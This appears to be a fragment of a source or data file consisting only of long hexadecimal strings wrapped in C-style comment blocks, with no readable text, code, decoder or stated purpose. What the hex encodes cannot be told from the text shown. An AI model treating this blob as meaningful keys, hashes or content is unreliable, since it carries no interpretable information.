a6e656b197ed7cbeb8f1277b3edf930b711d9de372954dbf2e0d0f97e32638d9aa64de53f0cb0529598daef943acf6ddf9430e29f94fb19a1ab41b5439fe26564d9cbd43a2458eec35a8854d2add16a90b76d10f96193f9d18fe73233ec020beb6eacd8fded5d61f323d98309e26a06ade4483ed9ec0e78a0ea77f804e545fab0c7e897554c3315bf55aeb7207c309d6892ee3edcb87315ac6d8384b43ab5d9465d2a7f8bd8377d93773485a4bc2a7c3a46634f6637ef5a52c94e0f5d2e5ae8f5e71e22bcb8b120a3c5b11baa4c7abaa981120669761008927ce077c6b894eb8d1070bb9fddbd384d7458239dfb62f02ef8e4b2d8add7d2dff3e4bccae38e84686e7da62e09b4bbad8674d90073fd17e2dc5d731ff5cfa9bebab7d9152ccc131f3115e4e52e73ca7bd2eb98d8051c283748bddeb4ab740f3835b940e5ab4e1e8d2ec6d5a6ca819643e285c76cac7be1b530d3644eb36c6b4f8681c89c4ef0db801e88255de4f2e2ba9ad76dfe82681f5f4cdb10998fbfbb54a2a6bf8f03e00fbcc8e68f2832d5046decddb98a363ab61d74404a0bc30a20b5f6ae6f15bc0c63744581075328a104b52801558f598cb5de759cbcafcf4cce3c9bd2b632f4fefc03ff5e8c807750be10c8ccedf8feb2184a89a2449e602a71ea3b0cc6240b5b66c667525ad75b7821b2b3b292092d3e2ac5ca3c33f574f4c9cd848bf2e22cd436c5b017dcfb9ad1d6989bd77365117e8ffac19250da4f1c5b1dc0c360e462006b66a19febaadf72e2a9c4a83bd0d9f2053d6167f4a6db385b96a0aea48fdb59cd209a145dfc893b33f13f91309b26a41e905396b64c2653595fb3e2c784aadc6714727f5c0ffdc6cc912f55a58e65e0bfe438dd072585286c273eeb21247492ce17d078aa7fec2fb2e1239c9532b0053d201a61ebc2068ad9b02e710040366202cc089f92c6945f4e6bbc2d0c8d6dc14c20b84286619ef702e3f286af68b8829eb06557a69d9120bdf96247907995484111cbe09cb9bb04f39f4018b9ce7dde64896ee46185eb35c9e411e33b14d12530ba11e538bd4a0bc84ef2f770734d3378dcd53580cf05e9f1b504cf7b2b3f9d8da0d2234cd9bf159e5d8ea6d6b09d1fa49398a46fd5735fd665584720b29f9f1816aa3af1d195812d70aa5e0889aa57ae5c3d9e8b71b758a9529530cc82cb37f92a087771db9eccbe9188ce334afd6fedc035aa30ff61250d7db9f1100643882e66de748ba963366431aed3212fa006a281c3567434fcf4f47bd97d097434ff28edb43fadd765058d24845cee1888ad7a7a97e5f23a82196417802cd4e925a6ed93d0a2418953f2b295087d0f7b7cd33c5ef55d97db94dde89300394a07ba147d2f53447f7b4c5ee57a20d9e8d547c8d7848af9ca535781b44316791c238f6130c1131a742506691d6426ba8ea39512d10813416aad9028da41bc3d74c972be7c8da79d975a3f7e9059e66f065828a6fe3655787e91528c9517674823259ddccdd98c6528ec277f6df9139bfe97752cdd1b2b220a4defb560081f60aaa02e70b8ff480f432cf93e1833450cc3feceaf77e7365ccffd49a55d6f14ff02d4dbb1a85370022d9770c31f8fc59ae4f8f994c2fd59d69b7db13972315ecd09ec07f8ba4e1e4689f75da629f7eb093511f3341b4fb5542bf50b7198ad9a2719ddcb1c2a4a34caef709334d60bad330ffad301af16a736dbabeda6eef65cbc6bf17cd78dfbc66e38c340f075f357804a9b47f0ef3a368c0d7e1225e030d80a0e6f855edfea592bc94c130477517e0f6cbe7b01e34345b29c6d66bd76d43dc4676baeee80511af6669cf4cfa2399866fb8154541f75cfe9d29e42d2dd54734d832f5f489165bb438561af74ba5a54b77b01e45125b1b7b0c43ce9017b24a8cffd19feda197c9f15734467e013285514464ac38f970395a60fc180c726e8b546e549b6e5e8d739baa584258e321b9545409bd3426337be3ea10631d5fb777b048f1c842939c955607f8cf7665e3c4ed4db3ce9371a6a34ff768fe9b2b4ab727ef0672e87ea040a764708934a3df739769f3a9a49647dad00219*/
/*1828bb1bfd736bc18bf3382202cf74f878268fc97ac4402405a48a6ad751b6353f26920b4e52969c3f38f32c8973e9d060f49d9a76f0572ce49d29241bfa3256b8f31ad4d3c85e5d54b3829c4c4c259a429c34140b191c0f159edf50d015bd6bf5a8437db576d3c3da1f644474efeddc1ba93e698f6d7febeff0dbe75dbdd61cf0597db57f672ad6bca94ccd01a71af992dd277adfd9a17480c7648d68d6efee984f1bff64ee9f78fea35a841b839a0af15effff439ce55323b3f782484a3dbdfd80568ba9220b94927be93b690c7f2bb87d7484639cca14c6edc7268d0a8a128158a2894e0ac76ba0efbea0e7a144238be011804388f01f1892b321f47c5f1d52c3d1b8ac707cf18a269a0184aa581385581efcf618ad47f73974b4acd9a6fb5915f12762d9cbd377dbaaac549218c665375254b712bc2043149b9ec5cab027a9c7ca15d2e4c74f89f67f30bcef3cff73977f68300567114919769855c8f8523a0177c075ae39c7244d5fdf229ee66194c3e03ba68cf11513acfb39f271303b6b3afb507e1ce5571cc94fa895d24a94c55f99b0ec37e7da0666608708009d5602d259d1ebe1b3d1626b8406f4fa43ff4c1d8510bdff4f8cb55fd9657be92420dd4c462fce8ec7b3d31f25d1f9eea4b4e6b1cc7086b688065e4c2f2ade358e330e7d8fd835c15c3ef5929be7f1b8a2b99a69c63c578689393739e6eecd10e431a468cc4b6453644b36758cc9c7e8440a742f06c6ed3885cf33b497b65df8a8d065a52a5eb32391cbd13378537f02a6fc608a65e22a1157944ad78e0fffd38fbd8e48e6b200173df586f9f2aac12b8fc916bd697e497cd97b79369fd42d35d2545ec8ef866fd2a060c47acdf05edd5cc294eead49ee1b5375d78557a75bc01c2479e7cee07ec7ba1de1a9a38354773c0032c1b0fe1a2f6a2edbd6d7a37b72a25f2b1e4bbb545179f4408f995890d64864b01d34778b133b263018f172b77ef81afaf06482853f31526fd2f38b13e2a8228325592e1071ccebc38639c3d7c395563c5e19349b93cd546430532043e72432f5f75ce9e37b9924a03607fc1f1024b6512645243948223b036d96f529cc0df66f447e9bfad6a99e374ff6a79f8f0416c5feb7c17fa67eb24013b62cf9d158c7f4cb566796ba8a2334e29bc0b6cbe2abbe30efaffb094a19531ab3e3762d25e142e888de47cf1334dc7a8c3a46ae368d37bd0644426aa2e59f983129972286c6c4290f32359ba2b355b66c2be2eea504d7b2968ed9e678972cdce4aad16699dee24a788b42b68caecb24f520e2de7574a5d808812942b43d6c537d28127ff226a8fcd2609f7eabb840f9a51e8e176a0b0f6694f344d781723264250ef25b800cab88bb28858d1d083d858dd1172593ad600f2dbc001914695c1fb83e45c66d0ebccfa33bdb1f68e2a6b5c32e44a0a28567fde08b072e3a84413da8c241f2aadd35a74f3b89ac61a5664251a49fc323c745d2f6a68e8e08fead99fcb71aa045e95a8eea9dac1c6ab0a165f14f44ce5c2344f8ae92f4e14b319ee7763d8769ec51b4534c95d60a6d862d277e87e5c098b426cca0d6c401d6fead5819460e14f3884d50f11b5c52cc0a8ad5b1e16347a36136de07e194f50614df2c65b631c683e0298bc8401035026e627c8c3720feec0ad50e2a6b39896001a7aeedfbacc84745b515f2f9916fd009cbc4a8b8da98398d08e28886400d34c6e6ac9d5499f26b5c4fc6aa9cdb82cfba481badedd4d79bfed61c8e6d790b87d2713cd51be0204502e0fd2904f84dcd7c5db8f6ae3e74917508b78f44bcd1aa6c160981adc0d424e968b27e243ace6a3fa35aea7b3b6255c77c05a4e61bfa814e1d45fb06fe5bed1f67ad9383c9d79f972838869f322c59332a341e76ddd24b8b900524e71964e825acbe88f8a424e013728c6309e290f2ab988b3b889720732471a8e63ec672e0b42c004d7e31d5adefc7d8d7f296696dd1300698d6b7fd8fdd6c2b048b45b96b3d2993d720ef6c5693112b9cebb62a7679650f64fe7635bdbeba1c6b0ffac61191b6b6e506813ac6f129d2fc8cb810de24437fec62de90c60260e180fa691600b9da338693fe110c6635e0d111e505d679b8c24b2c6ce4666005cd8e47c584348b91c61f38a15ba4eddba562a6ab40f2d9749b71fd8f980d6b6c0ad2e34dc866f85031d36888915ecfecacae05ac04dc88d77d4f03499753084080135b01c84d73f821afd1ff24e51d33a9a9709d871ba15e38eedfe97084ded39b5ec185b2a5ac8b0ad689875b3828b3cc1032a5ebcc49bdc37060adc0009e884cfc647652189708127402b9233d7299f5ce583fec0bbf9c1864b25c9a8aa7e752d6b938fbd877e75ef1f90edf21b14745aa8e7d10766d7dfa11345178926c21305f4a6f2d31380eacd929dc0f0476ffdc9ae46ec5f776d63237625c9328584cd83550f07be86bbdef370e12a4f7e6fa86d45be4ecb3e11e7fb2586a7a2c203067f9b2781c6f4871fa4f964cb8809b28940e2484be689e092d175cad8b0b00b5fee2ee91a45daa07f7d67e883cdb64606aba69e24d9fc34adfdf45c75389f0bdbc907095b9e14d125d06455b2609960541cf98ffb0ae8e3ed3f179c0fea97f159d2c9572a55e8afee42548a32d842a933016f4667dd258ebb9d8ebc3d4b6643fb3128cc59f20fe34738afea6ad5068473c0badff7120e1063d27caa645789a20357de0b16459332eb5da6c6e3ca542ed0caefcca19e4a2cb707c416ba7d07ca305a8d6037f93c097795bddb34347bf2911dbfc3dc34f6625a21042d1d622aaa2525b00680b7d1c*/
/*b2b3a61f33316d73524aff7033bffe03cbe1d6445f7beeaf1ea5a945c7dd8cdb734fa0f9908d3079f4b341f77bb9ff3d5786ff8204aa0a6e84817ce7bbffeb829e6954ba9883ad460d4c2f011aad985f56d400c3d00f05c6fa0f47566ecaeeeb0e7dc174a9da7807d59374f337cde72d34d5d5873ebdf353561ac3777c784a34912ea4d3abdecc1a7c83c149d8e3f0ff290d775adab41320b7d2b2b118147d4534a4170edfaef2500160fe9896e34759d8d477531ba3003fc4a83205b5e98a046c4a8ee32a68b7efc158b97c7e110bb9daf3e65cbe39f76f980c24537ca969e5745fecab9d9c4db8d063b94ca102fe86628e89786c2645f5e8eaeb6243f9b20b6ea707f7aa5e0b1dbc9c46145ee63efeddc91c09bf1fdf3ba32f436a277040147331b04e1480ca4ac73041f836cdb3253e79d130873bd1abd00cea91499dd6022d2e56fcd3858ae04d322df93bb21c572eec63a63121837abd57e7d3ac70a146e7e0a2c5b7ea2e5bafa5477c74f92031c442fdc4f8b6636e238763660cc73526730832ee24204688b54d6d1e8563259fc90b9c74af5b5548337dc319a81732ff413cfa0add0e5c80878012f40e129f5dc95084a56af57e5b1797d59ed25c290f67a441c913016c3e475a95d2ac70ce2c76b1b18028b1849c6b7b5a6bd9e2b5d6329d027ab11bb399fe8e962d064d8731cd31101b87814276141ef0579a2107d98135fd3fb11e8b5d52b4f56af02c5193f14f54eb8caba38d5cc1bcd76eec0874910949bf1a94d226bf7c155a2a15ce5ec2fabbcd28519346db615dbe02dcb55c4465aa985b9713534397280152564bd747321abed99bb133adba73729991544be9cc50a12ea6a412bab88425427ba2ff5319fb461c033d73cf12b2a04ecfd30269e86b7b7941a3e5621d3ddd32f67b3ffe7c7eb5277172c2821a88d97e2b73d0affce312306aeb7fcb5e85b58bb8759dcd02d1124377c6ebfa1efa44829320c134200ce26517da4b708fa3ecca3bb3b79a3f4b643a0fa4b2c0cef9bb293f291310bde58c462510cb584307105d89de3b42467aab126c67d0197913b4d4767c4cad6d17f7ea56ee3b39bcfeb87d19527c8790d6c4d24812382cf90f52a6aabbd7af9e59f7db981e9034c0aa50ffde54e36e7f8d3fd09d62e10f16a040cd32ca274af54eb179a3fab05a37c341a0a9ebde05ba016f548da8fda075d960326fab67174ae68db9f7bf44f2de9db4790c98f9c83a41672ac30b84fb34312a43082f270a87d2a0a9e27a93194467dfcaa88f564c1a062e6066cbea41f1bced6aefd2093af4c721934623cf63be2f12bfbf7f8724b866bdec11c972e02190345056537ebc016bf286292a076e0bcc55bfb6e2f598ecf1d9333d6c5106fea84d676faf28ae5d3094ce02ad3fc24f93a8777801bf97d62fa7ac19af2aafd14a4bb592c1d43320146b0dca7ed1946a712e674ef802d7a6aa6e37a8d50e8f464e2d39525f58934a17cc230736eac4c5ce6301ab37bf6d2244dc58b29ba8d7ec3896dbe869e2132367a4f3a70b87ec13f11be06d6c008260de8922e6b32faaa0467afd4d5d30189623acac8409283fcc2859c644d4444e5220aa7f6fc7c55906db65a72fbed10d6f7a083edebe6624bfd5024acbcb9d4638838d0f3cd4f64af98f58f2a8408ae6e687e71f43c4cf0b99fd5b5b5a45053380fa44d9095cd67b8ec96583f1e8414a418a2fe368a7608276aec9530062e9089a71f0280c9d12093b9aeedd0dda58e0685e0620dfecf73a99b0ce73bc4787ffa768386eac255ac44482d5154f5dbc98ac23c5541a348e2122aef004afcf5ff003a1f0e355aba9f9184ae3d816ba938520c0d0a5bf573c992a459a58872a1cc6578aedb1409861fe507be54acbcacbb4458ffe583322828d5bdd049555d68586e4c3a1d17ee6835649bf776eaa9e6c4ed39f70bc1bfe5f7c40b671622026a7bf30dd00b4d3f761afe9a52bc450fb37dc3dccc2265badc4ab0be9a9409e881faf48f34ceea62f6885aebf5a8e2b0122aeabe98e538a6966252f6336e8ac8212b961445847f038d6e3340965c3aa1d2d46f11d741691fc2410dbebb1f94078ccef111f741b4358275b07f12b1f3875ffc94c23d9b15a332394c3d874345efe3f2c43ed9b951d2db274b743e2c16a6c9aef7a9cc47ad76fa21a264ae824096656dc291c52ded434d6752e4157874381ae819a31ba66a0c2e8666d6a7ee5435e8dde3e36b79c07e2df01e986478a4ef22eb147c0ee455649af1a63e3b8b03095525438aa324dc665b080fc668c214bf96bc723fefe2f73d740c99a4476d28175f0ce0f71e9a1bba30cb254debf74bb3e38d8785649b4e1d02bafac5a494af7bcc43126fe2d7f6d53ef2321868488225f92898e00c7ee8a9987acc59a6582d0625460266c07e10fcae56e0726715ab6826900c08b3fbd0888dd8948973e0cf753e47837f2d452776d1cde9d7784d7d3b08133ee0aed3e763cbd98ebb8bf3c5f757218bd76dabaaaa0bf9536fdb430980d2d5be48ab3505737e2a02f14d9478b3bbbc196e0651f472924d36aa3daf74304caed0b628289afb947c40c74efecc0a803b58758836a4bed82f4cbe3f1e507568b84fbd28aafb78eaa372baf519214401fea4548d7ceb3bd1ec76a4bf274a3396174a90260145f7ca505be31fec6c59152fd1d6a3ab55f0bb542de339ed00082ea37f1b8251639e631322c5c49426749bbc87ecbdff36bdb5ee12664715b748f3b46cb73f4305e3b39479fe4f333de6369141b701b72d2a1e9160ecbd3f99fdfff48be5662063e988a98fc2239a31c0849*/
/*f0fd4d792ec335c93eb6b80bfceb6283ae43c51f25b9ac43a0845959b4fe8c7ff2bd087e9d969c47486d0e2e9c53eba2af1aa389c0d7566e349049d34da9db152e5c2c1b45cb916a975766c3c0fb2089b4579f6ee398c1c9a24bf5e2d97b78bf8757f615e3d7c1e19a3f82194f3b17ba73a7e2205e49a2c295c085e74ddcd7cd18daecde7cc8570ec046dbf9791a3c51d672c6841a0d10f22e1fc232f742c7331d6d09e35e48cfe02d36975dc2679cfb269c201e21653dff33265592527be18bc819563cb7af3d3f08510557c9c3b6a351a82af852e2fa9959bf19859ba12c8b7b5f3e4eaecd1913efb49e455fa5b2f4e24b1025c248aaf38fe08c0ffb3f4dcb14dd8dc4d2582382a352671c9f328ab536339d87d4f0059a225a832bd584d551b4746fbae4f65886b81a1cc8f357b22006cdca5f31895613fdc4000d1e3b12c60349699cb9c80ec718805c64623ba9f4995111366fccdc5cf887e8641610bd4b7db9e55d039dbb0b91267b1b50d0ba78f5cd1014f88c323513f6c23675820a0a50e67d0bc4c5eb5b054381eb2ce520fb8b2673b03ba742a923047cc307b6164a80d2f80155ebd71f5120ed9d6d444a271ec11ed7ace0133cd21ee86f8588dd656f4a2155ee6ef3a49ce4daa20798654237cc4d3f04e177e6974cdc30f051e388d4c97e56552a11e7b3eef7a73ee555c2da058ea7c88791d5f4b6b56d4dea7c8142b58c501c08b43db534f1a5eeb147875b338b82fea589644efaf3d95258d6f97231a867c7314d99659445de1f3186b9f622300be29e8fdd2ebe3f7e5d51bb94eeed3ca2e5d254ecaa78cdf6e41cce09563766fa0aee61bbe917eb0f8a2612062a977ee3e983798b01e4dd447690974ab3e168f7581797deea9b5d67ee85884b45e9cc823b461fb027b2a06b0ef66adea8653f8aa5bfe5a65ee916c5467add467fd5b2d3b67bc6901796d43aa4f7043edac48f2ae3d2d1c284f9f8fd70f10bd3d1d8927115b76c46a26f2520780b663a8e0f98d2c90f987906a3ba35d963663d03205c334c72b6b126377860b6bf9a3e6af516ae167bc53fa8262710faeac6d25bdaf4f267270882951c16649463be052c68edfbd84fcdbd3579881e251e3b90fe8e16b65d7fc929c1d3ac97a154a63e43f0e33ac5c2c07f2eaf797e012002f30eecee86ba683618402ac4b2e458c3c5a84e654bd159e07e71784967133303249454331b86cdf4ef502fd5d8fd7c45a6d44d91f183190227c26adc6f790fe0f2ed631bee6c047b289942d2ee06c3e12ccc5ac0a2599323ca291ac3eb6a4d49e2daff84febb2c857f1d70eee948bb308c10b5a8b5c110d1f316fb9ecfcefcbf2767200e2208af52749f6af660b0834e80c4a0a108a95ff78321f9fb375987f2a277a61c7f094462fc07d5a39eac3f50762189bf272f8604593da47c741592ed165af9f4406434e21b6da2e14f181e7d8ba74dae7a79b6e4758fabbfe9d45ecd2db3916cd12ab24f6e83b7a755ee838b51fef8832d7f67c240458676dadfd8eadeee87d346af860964d37384b08a05af5d4e8bc836425f40f63c22d8e8c602064b302ee5304736326bcb83d5ae65fda928dcb40b811118ff87f8c9c764b0d63cc0e603cbfeb09a3b0ebe07e7c83471a86eccd2a93051e808243469c6ce24eb8da5ebec473ee8e1d63a233c97ff3896316c4df25f945da7cfb4f4724e2bab71582b0df9c509f6e095d0c3f251e0c986b45d4a6babdb1bdcddd20feb4a49707595799e022e373f67b2db5363619ec66f4386f2ba7f47d074193e47c01dccf9f66a8e39b439df225b6c9d1dca12b5e824124cf239e5b1bceb87c6632dc60856ac58f271abf322208adbe8511994b87be126d15406fa8bff7012173c1fce936aba8a4f64d3a28a816c6b6960de1ae9139eacf949d2861a56e7e20e8561a4e772ed09af4bdafd05517e0dc4564c53ed8ebd92a478f1af86f888c55a110db4242551ab228a82bda11b10c2dbc2f2219ab65311fe2a4aa39e9dd19103d1db6fcb9544d0dd3088efc79f444babfe334af3ba323ed213977c677e548f4c2808e6ad4a953049fa67a1e00b4ab26dcc88db281ae474eee51f70b01726a2d895cac82b1290b107c3d15367317df997f08282e5e0b2f90257b5a5b5d923161ba7c0fb1874603329488deb1d2c62049cd5461bbd5e81a492d37511aee5b14fd028f70383798a71fa295c97af533afc83bbade6a56672da68b88123e122a46422ef81a68d495a3544a866cffe451e950be2f5b35d195eaed8dcd46c9a4efda9e2e2137e4b9b7476097dd810c5638ada2f2d4a7bf57de580cd6a1922f77098fa173f933537ad27665107d2d1cf08f3e41caaffcba19be05c2e3d73adae5da0da27db998e2c87f35d0b0dbaf3f0a83df591c32ea87741238321a2f39772f8e8da96dc1da889aa078513e31ef65fd02109626403f0da36d2e8d1fa99abf5c0a7680f8e3bbd13762977489482d295cd78f28a49430f5c1234890a468de43c5cd54db4886924315e227603f76025ec633e0c44a727735050eef36593a26bc6b18e47effcbc1eec9910afeb389e85761c03184cfab7f7682b5040576d97b0ddd7b8bcd79adbe359fc7a974c74ac70575481b4c6c0b91b5cb42fa0df14c6a1ce56c49dbddc394bffe2fffb7dc7627ab63eaf93a2eeca68724c69b1aa49e1e12540b0b4abef9dc325add541fb7bf5f79a5cf047cda895dd81858e10333c55bfa19185226a7444fcdc4e2299bca7342a335eec108435240d9d101104e0d58d31511f0c7651dc1267d79927f48346f0f9025bc4ccdeaa6554fd4196f110*/
/*a739014a5344544249434d4418822e209d81b5778407457b99f86ee71b082917293fa08c5bf46a947778cc07a81dd9c14db9db0b5acf0c5b67a9518f8e70231a337ebcd860c3558ff89421980513c03addaafcdbf6011e9fe3c6fa984b75d8d2ad2bf91713228f47d39fcf0f4a859b7f040a50d8bfcf25c85f6a6ec566fc2af7fcf5da7c686208ca27fac3d3ca7ebb39fd8733931b9b48789054fc4c0f22d549e32a17558dbc203628b8bdb933e68b428432dc8b4ab6558d9f71d88ddf6ddf69595555f1baafdbe606430d0c0bc43fbea2724504b20a7a32aed16ec66827c9be30aaffd90499afbcae6c2499b0991c16cee48a21aad6fd0bd3f86748c433420397b90675f30ba195c94f8098c12c9ba0b551e125f2db6a17791f04562601a1b6b1210b99c4a8e322bb7507868c04e8b3366c26c2df696791cbd376c79f2b18e1966e9fa4d3076d8cb19c7f8c4f62b8331897414679fa18a1f0be76bc323c292cf62538b551a8142006fb08b86f4c047510679ac5cd641fb1d4d289b6556affb68e0ec089a77fdc01aff2def64e30da4c6c5def145c2d9c8cec8edacf968caecf1879dc4f2a15f4a48c27116dd34428ac705830292081463824d77aa274df6820cb58a6ef778e10518b41fda1e78a513b077d4ccad329e1e91c5826d34a97be069d3436c16f7f1bfd393b1e8f0d066bf076a29499e76ddd2e1df4c8ea09d8f4f0ce7187fb753fd41ed1cf4d89d60571e2d90d6e90a596afb820190cfd0555bcf0ada5526c4e2191d2c4feb0e827716d922a608f4720b9f307db0a261e291e438120efd85b5de453d7104cb2d2b09f30cdfdd7ad2d50ce8175e4fa7138a4234299c27942c9b316c20293bb3f38a906bf1044358f71516120fe7e1b25c95fd3eb3055e4e0dc38b92f07c9ca1ebc00be29ad40acff3368134c252ad21e53dd82895c35da474611093198e84119439080c38a9896a7e650fb9971429781acef8d20429a571f48693527d9b48cb30108e28851b1b69ddd1b9a472131ba0418a0836aef06fd58957ba5087f2b08e4340252b038e3499f0e02a1156f1ec29f974185834a5419d53b2bfa4211bf9a35961da27d0aa7c82c624276530fecc8c87f8fb19bbbc5121d12a332b259a7b619d9596adc82bf4ad38ac2ca89e405001d4d059ab0c0e335662456ec5496aee80538a2ac0e7646e18032c79def1291052bde0f5453e0883e744676cd2f854de9a58cbeb95f7bb9c4e6680e6fef6d71c5a455cc781b2ceea6128eaf47f630eb51e1634678a0bc6e3489947d512affb3cfa1639a405c195056f3a566e1f6e827e80dd6b23c075f3a04cc26740fcb5753220868ccef9de2e48cb60e2f60a56576b1c99f006fa86f6493c70c6263225e151659b3b8a0f3581db60ebb5d7ea8bdb749de8e9ae5a70d523054c1e97537e938280b018b5da25493563c8364aa74162d53402bdbcabcc76e8e1990308a9614c0ffaabd2659f3301322b5423c3f240c0c642e86093e7f413ea7db8703bafbd260a04e20cab9c592d9258bd9cecea7121e8c5ea39a1cb87fce587c02040a9196a42a2c2b0de077c9d5e137d75d5b18c25e200ad8df7ef25a3c5d141ff2c47079fea1ab97a522bcd0185cd0500d93f4adf01a76956dac013df4eb04437eeb16f0e5281d01bcf8dfba19693bb71cb66f737dcbfa625035db100ffbf2d6335c795d3ca24b02f0e4fbeffb0f366dc9f14f6b1dfe98ef4d2519011900c18c9278c1ac25ef10b4a261677f19d62a0a97603325fca4c4dc129244cc904fb2016266ed0d647d4a6829b047784652f1e12fe8505078c903a893ba411a60d0ba6365a5cbc9de08083436577ba881335996b0ba2587d0646c61b2ecd0ceef9d50949dbd46f94acdf0a123ff014f86d2f2c9425d46890c6d482a16d89abcf82b6d925e2da5e3e81069f6c2ad4f2f52b94bceddfc22fbb961ccac0e327921d0399f38837e42e9df334ff17aa3541385854f12435159c83f51c256bb57e84fd53a354fd7307a17970e1135531a57350cb40c8b425b5ca9392e9310502dc4b48757eb927b09dd49ce946711a05f9f0c2dc4e9080ded40aca816c176ccbcde53072aaeffc94e0e2773c0ef94a42682ce8d783048464984cec2806e8135516d579e6a448230c19926ee462c071eda85d0a4a7d391b069ba397f15b666abd5c0974e2dff82bfa58013c0cfe9366124f5806970ff92cd103ed5ca4ecb78b61b29e3c8ddd70a3763b503cf876c4f9d34cd8f17eabb60b6284cc891e09e743d458a3d093304f0ec7cffe87194ba756a85c47edfeaad59708eb43580c9dde8ab624d7c983db0905b7e7e38338bd5d483ee7ac3c368579508f4b8a0b7c32ef56874f76c849611d361478438da1a486ac05ec1c41e95f124fa6d954df9f86ae319bc917b019bcab9b3eebd4ae22c650150a619844b87ae22ddba4ef7e97a48bdc6f986479c9b825d30cf8db33a95058d1a846a45e97e43a4e9bdd1fd0f542bc76e5368e2cb6393291a27e554e1647d52d2c1aaf91c0284564d7da216fdb52fa7ed64009d1f9594c8ee088e6361a8a227aca5f10d59a2b07015103f8a5328c58f03d30357344aeb6c52c884f01f61512109720d0e58f1146bbc89f935ecc5a48ddff61e241641498c3769f509a8cd160304fed08252211ed38a5102c28887edb2f374d5cec4b54b690d84b7b0e27734c017389db849362768e4c75ca515a6823c4d27b41418deef8ccaec16aeb1c8309fdab750a4863efe93c11a6eebbbfe5370bc355b70125369e45f241647c57bf4ff7084d595c557fe96bc7be581c836fcfacef13887*/
/*b2c240e7248126bbf5d10912e678c6d7468abd746ef85cef4f9cb2293b5d0c56e4aa1bd3e0634bee6efd086414e11eee269dc427e984b237836807fd704d1a9440c9181e5a091580e46df4eaf3060991de110e190a31d7834a70aa0d0f2df67bc34cf4d3f7f9cbb6ffbeee1eab89616300855f82043a7c87b8f6b798399ba6fe187b5465a25003fa10c3d6f2615efc0b4f20b76b497e2710a2571b85e3378955dbaf51d3cd196c9c96c08d2afcdfd6a6e9b9e621cf0ea90470ce090addd1833dd28d34d775795fafaf36d9e4553d424c4cffc49d8d10017757775d87d144376dc06b9252f125223538917ce96d8f6f80b9ec8a183079ca32109b7cf21dfa268e985a38b82a25f462516d4bb38d66e4f7c4e38afcd04197f070a530e8d133f62031f645a4caff078d3c609d2cb432944a8dea3114e41dd731153b5c96bf21bc7489ca4d4d0597567632f39136fe9564c617960ea7aff25e513366a309bd98b98ef40ee19d55921b9369c7b8a5ad6b26524a41ffebddc904c50ce5244aa7c83060b5a26520aca2d37129914d00a31c16b517764afa898c6b29ac94a3a597dbbcb5f540cf6d451dd4cb5fd8e1d8c0af54fb7ca683cf3093abeefd269ed9914ad8ac82ca4bfd8cf7d0450dc16f922397ec664b98b166d70aa34d60b67cb15a6ed9c1a8357a26531e98ca48b643315784aa40fe2f55d30cb7a71de2bef602b067d4db02ef73b601c786e59c22f7962507b2e9eeb01ac7ab137ce52e3d9143c63d1bf7c28fc7f639e4171e225f4125d2ef6a4bfa25cc49b1b6a8910d0cb87ad3a460fc2fc894e77ec6329964182d66959bdafdda7c154d3ae9e3a9d4a052c6302688912128ae5585cbc8b86930bb6a9829ed59853b2027f2bff5ab855a78d7a672d6864af5086a4e183f98a16dc23da8ec81225259b6cae071ea8da1ad9e9c761d200ede37016d34d493f2f21850123fdea94809e9784ed240e60070cff98924951454db555aecb572ee636829048a570145a27d8610633329c0b8bef5654993d4643c3fd51c8aa44c0ee36c6707662ed5fd47ddf63ada214013031e50d4a83f8158039c12709da8d0e73047d293452d56b2466f89abf296a4795ebceba48cfc010c2f08d6512e67e806e85fddae6eca8cfee3b9eba95f0351c260a5ecc0ca03a862bd42b57107887ba1f7c3e5f24b723ed17be15e34cc777c661c7116e380dc3e487d46d8d97a974abcaf0f572a959a2106dd4833c612954ef1a370b4d7d520fd13a8ab81dcf6906e75c8b3dd11c468a2f6e67488fd42224fc2ae8abc15afb0f8eeb181d06e885f2a674c320d7d13ba2a439e5732b63334702ff600c2b733f68dab61e2ed47e180f4b112145892b9aa2e2ff0a04a617a78d1d3d51585baa59d384dd431f04e6f80976b0f093a60228dccd1c3d6c8f23c2ad2a9243d3daf9e2451521747c03d7fa0fe9cf0a6bae9911ade25fea4dc270aa8b7820a0409bfd7edbb8f48b6a2376bc7b9e090944dd572764569bfc8035f9622157c7b8a4d16d1ee38b05bf5232643f05059c03edb7399b48e90036165fc3a4e4688014dd61e795312d7214daf4165c209d30907f68dceb091804fa43b01500063df0f58d4f86d5c0a3fe264c7779329d70c0cc12de1880f184e870986d088ca3c7091934a415b23b14d74e111b529d46dbdd8d562f0bea456ed6ffbb9f31c0421f1738b9df70116c50809191ee05116918dfbc1163c509b5fd04b4b8ff2e3bb454a3e8e6d30785092c88d28e9036136e30d67a4d3f1d62a9a205673ce7375ff8e16d34c9555fa6e7f9b338c774ad71d5e071a37e33b82ea2c71b6459705fc65a5f6ff78ea3493b91072619ea546352c08417862f22b6212a18aa8cbdcc08ecdf276c385c763e5f4ff1fc574eddd38697df284ffc5546180e12f894231983d9640d73491ab80c7304307f5e5376e3ad066eb835b5969a976b895ec450df7a60469e79ab2093e0a3e6f3b56500489eb7db00b7fdece0701d2a4034480de9b8f0cad7382ef84a000dbe01208a52481f7d1e51971d95c60c20f046bd9f04ec4d99623d5dc2737fd3cf59475323427894892e586aa3d91561fec795a8dda6c9eadde8b99710df18628fcd87b478347161f2a3f0518b6eedbdc460b1bfe81e0a58076b49b360660938bcf7d2842a0624783320a93f4a17c1d8fd2d8305bd9fc9a883ff4572bb4f3f4491b119bdb373ffd6585c470eb6cce4e05e10fa8f5dcc84c2be08fe06699333ea786dac5339328c539e0266695fb24ebfd4a7bff1eb1104e51fefc277a268e0b92d4dffbeb187bfb78e97b8c997900f27faae638e4029ed2bcec8cc43836d66c82d3bf1b1d21f0c502c4e0125fdb6cf7c216d84a1a15c51da8572c8e7bf30dc4b29a2e4f341b853adb549a1903533bba0682cce864e475b3ce955bfa386fd64fe32f5e6098a6c2fa3c8bf903afbc8d92a8fbd2ab87a83b2620366f12c106bb4fe1a62f2a7edb9805250d932484409f77bc9dcfbc9bb9bed612a73f7fd686efcb028a08997dec439f674ea264e708b3fad6ec7ea16ec920d0ba893589f83f255333d8b3e026e8e94406462633032af6f7c10625bd9b962b6fa767913d7fbcfba0e31abd45653890f61fce3e218e3dd2e03c80a2a4384fa0c71f7e8b47259d113eeb55120cd47c0a588c9faa05a03ca77ecc9bb574629cdd09c1799953ff59e621ff52b85e402994cd8eb39f94d1082b62384149d6a70dbb7927595665298e10dd1872fe9b22c72071045c207ffba832e7a612085f09036e5a0b41857a2ac7c41f096c5301b8caac87c5d3029b96fac950330d01b241*/
